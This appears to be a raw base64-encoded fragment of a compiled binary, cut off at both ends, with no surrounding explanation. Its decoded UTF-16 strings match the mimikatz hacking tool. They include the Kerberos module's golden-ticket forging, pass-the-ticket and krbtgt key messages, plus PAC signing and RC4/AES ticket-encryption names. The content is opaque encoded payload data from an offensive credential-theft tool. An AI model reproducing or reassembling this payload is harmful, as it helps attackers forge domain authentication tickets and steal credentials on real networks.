wAgAGkAbgAgAE0ASQBUAC8ASABlAGkAbQBkAGEAbABsACAAYwBjAGEAYwBoAGUAAABrAGUAcgBiAGUAcgBvAHMAAAAAAAAAAABLAGUAcgBiAGUAcgBvAHMAIABwAGEAYwBrAGEAZwBlACAAbQBvAGQAdQBsAGUAAAAqACAARABpAHIAZQBjAHQAbwByAHkAOgAgACcAJQBzACcACgAAAAAAKgAuAGsAaQByAGIAaQAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcAOgAgAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHAAdAB0AF8AZgBpAGwAZQAgADsAIABMAHMAYQBDAGEAbABsAEsAZQByAGIAZQByAG8AcwBQAGEAYwBrAGEAZwBlACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBmAGkAbABlACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHQAdABfAGQAYQB0AGEAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUwB1AGIAbQBpAHQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB0AHQAXwBkAGEAdABhACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFMAdQBiAG0AaQB0AFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAFQAaQBjAGsAZQB0ACgAcwApACAAcAB1AHIAZwBlACAAZgBvAHIAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgAGkAcwAgAE8ASwAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AcAB1AHIAZwBlACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFAAdQByAGcAZQBUAGkAYwBrAGUAdABDAGEAYwBoAGUATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBwAHUAcgBnAGUAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUAB1AHIAZwBlAFQAaQBjAGsAZQB0AEMAYQBjAGgAZQBNAGUAcwBzAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAASwBlAHIAYgBlAHIAbwBzACAAVABHAFQAIABvAGYAIABjAHUAcgByAGUAbgB0ACAAcwBlAHMAcwBpAG8AbgAgADoAIAAAAAAAAAAAAAAAAAAKAAoACQAqACoAIABTAGUAcwBzAGkAbwBuACAAawBlAHkAIABpAHMAIABOAFUATABMACEAIABJAHQAIABtAGUAYQBuAHMAIABhAGwAbABvAHcAdABnAHQAcwBlAHMAcwBpAG8AbgBrAGUAeQAgAGkAcwAgAG4AbwB0ACAAcwBlAHQAIAB0AG8AIAAxACAAKgAqAAoAAAAAAG4AbwAgAHQAaQBjAGsAZQB0ACAAIQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAHQAZwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwB0AGcAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAGUAeABwAG8AcgB0AAAAAAAKAFsAJQAwADgAeABdACAALQAgADAAeAAlADAAOAB4ACAALQAgACUAcwAAAAAAAAAKACAAIAAgAFMAdABhAHIAdAAvAEUAbgBkAC8ATQBhAHgAUgBlAG4AZQB3ADoAIAAAAAAAAAAAACAAOwAgAAAAAAAAAAAAAAAKACAAIAAgAFMAZQByAHYAZQByACAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAgAEAAIAAlAHcAWgAAAAAAAAAAAAAAAAAAAAoAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAgACAAIAAgACAAOgAgACUAdwBaACAAQAAgACUAdwBaAAAAAAAAAAoAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAAAAAAAAGsAaQByAGIAaQAAAAAAAAAKACAAIAAgACoAIABTAGEAdgBlAGQAIAB0AG8AIABmAGkAbABlACAAIAAgACAAIAA6ACAAJQBzAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGwAaQBzAHQAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUARQBuAGMAbwBkAGUAZABUAGkAYwBrAGUAdABNAGUAcwBzAGEAZwBlACAALwAgAFAAYQBjAGsAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFIAZQB0AHIAaQBlAHYAZQBFAG4AYwBvAGQAZQBkAFQAaQBjAGsAZQB0AE0AZQBzAHMAYQBnAGUAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AbABpAHMAdAAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBRAHUAZQByAHkAVABpAGMAawBlAHQAQwBhAGMAaABlAEUAeAAyAE0AZQBzAHMAYQBnAGUAIAAvACAAUABhAGMAawBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBsAGkAcwB0ACAAOwAgAEwAcwBhAEMAYQBsAGwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFAAYQBjAGsAYQBnAGUAIABLAGUAcgBiAFEAdQBlAHIAeQBUAGkAYwBrAGUAdABDAGEAYwBoAGUARQB4ADIATQBlAHMAcwBhAGcAZQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAB0AGsAdAAAAG4AbwBjAGEAYwBoAGUAAAB0AGEAcgBnAGUAdAAAAAAAcgBjADQAAABkAGUAcwAAAGEAZQBzADIANQA2AAAAAABhAGUAcwAxADIAOAAAAAAAQQBzAGsAaQBuAGcAIABmAG8AcgA6ACAAJQB3AFoACgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAFQAaQBjAGsAZQB0ACAARQBuAGMAcgB5AHAAdABpAG8AbgAgAFQAeQBwAGUAIAAmACAAawB2AG4AbwAgAG4AbwB0ACAAcgBlAHAAcgBlAHMAZQBuAHQAYQB0AGkAdgBlACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAAAAAAAAAAAAAAAAAAAIAAgACAAKgAgAE4AbwBDAGEAYwBoAGUAOgAgAGUAeABwAG8AcgB0AGUAZAAgAHQAaQBjAGsAZQB0ACAAbQBhAHkAIAB2AGEAcgB5ACAAdwBpAHQAaAAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQB0ACAAcwBjAHIAZQBlAG4ACgAAAAoAIAAgACAAKgAgAFQASwBUACAAdABvACAAZgBpAGwAZQAgACAAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAIAAgACAAKgAgAEsAaQBSAEIAaQAgAHQAbwAgAGYAaQBsAGUAIAAgACAAIAAgADoAIAAlAHMAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYQBzAGsAIAA7ACAATABzAGEAQwBhAGwAbABBAHUAdABoAGUAbgB0AGkAYwBhAHQAaQBvAG4AUABhAGMAawBhAGcAZQAgAEsAZQByAGIAUgBlAHQAcgBpAGUAdgBlAEUAbgBjAG8AZABlAGQAVABpAGMAawBlAHQATQBlAHMAcwBhAGcAZQAgAC8AIABQAGEAYwBrAGEAZwBlACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBhAHMAawAgADsAIABMAHMAYQBDAGEAbABsAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgBQAGEAYwBrAGEAZwBlACAASwBlAHIAYgBSAGUAdAByAGkAZQB2AGUAR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ABlAG4AIAA7ACAASwByAGIAdABnAHQAIABrAGUAeQAgAHMAaQB6AGUAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAlAHUAIAAoACUAdQAgAGIAeQB0AGUAcwApACAAZgBvAHIAIAAlAHMACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGwAbwBjAGEAdABlACAAQwByAHkAcAB0AG8AUwB5AHMAdABlAG0AIABmAG8AcgAgAEUAVABZAFAARQAgACUAdQAgACgAZQByAHIAbwByACAAMAB4ACUAMAA4AHgAKQAgAC0AIABBAEUAUwAgAG8AbgBsAHkAIABhAHYAYQBpAGwAYQBiAGwAZQAgAG8AbgAgAE4AVAA2AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAawByAGIAdABnAHQAIABrAGUAeQAgAGEAcgBnAHUAbQBlAG4AdAAgACgALwByAGMANAAgAG8AcgAgAC8AYQBlAHMAMQAyADgAIABvAHIAIAAvAGEAZQBzADIANQA2ACkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABTAEkARAAgAGEAcgBnAHUAbQBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABEAG8AbQBhAGkAbgAgAG4AYQBtAGUAIABkAG8AZQBzACAAbgBvAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAZABvAG0AYQBpAG4AIABhAHIAZwB1AG0AZQBuAHQACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAHUAcwBlAHIAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAIAAqACAAUABBAEMAIABzAGkAZwBuAGUAZAAKAAAAAAAgACoAIABFAG4AYwBUAGkAYwBrAGUAdABQAGEAcgB0ACAAZwBlAG4AZQByAGEAdABlAGQACgAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABlAG4AYwByAHkAcAB0AGUAZAAKAAAAIAAqACAASwByAGIAQwByAGUAZAAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAAAAAACQAqACAAJQBzACAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBoAGEAcwBoAF8AZABhAHQAYQAgADsAIABIAGEAcwBoAFAAYQBzAHMAdwBvAHIAZAAgADoAIAAlADAAOAB4AAoAAAAAAGMAbwB1AG4AdAAAAAAAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAAAAAAAAoAUAByAGkAbgBjAGkAcABhAGwAIAA6ACAAAAAAAAAACgAKAEQAYQB0AGEAIAAlAHUAAAAAAAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AdwByAGkAdABlAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAoACQAqACAAJQB3AFoAIABlAG4AdAByAHkAPwAgACoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABjAGMAYQBjAGgAZQAgAHYAZQByAHMAaQBvAG4AIAAhAD0AIAAwAHgAMAA1ADAANAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHIAZQBhAGQARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAEEAdAAgAGwAZQBhAHMAdAAgAG8AbgBlACAAZgBpAGwAZQBuAGEAbQBlACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAAAAAACUAdQAtACUAMAA4AHgALgAlAHMAAAAAACwAAAA9AAAAfAAAAAAAAABDAGwAYQBpAG0AcwBbACUAdQBdAAoAAAAgACAAUwBvAHUAcgBjAGUAVAB5AHAAZQA6ACAAJQBoAHUACgAAAAAAIAAgAEUAbgB0AHIAaQBlAHMAWwAlAHUAXQAKAAAAAAAgACAAIAAgAEkAZAA6ACAAJQBzAAoAA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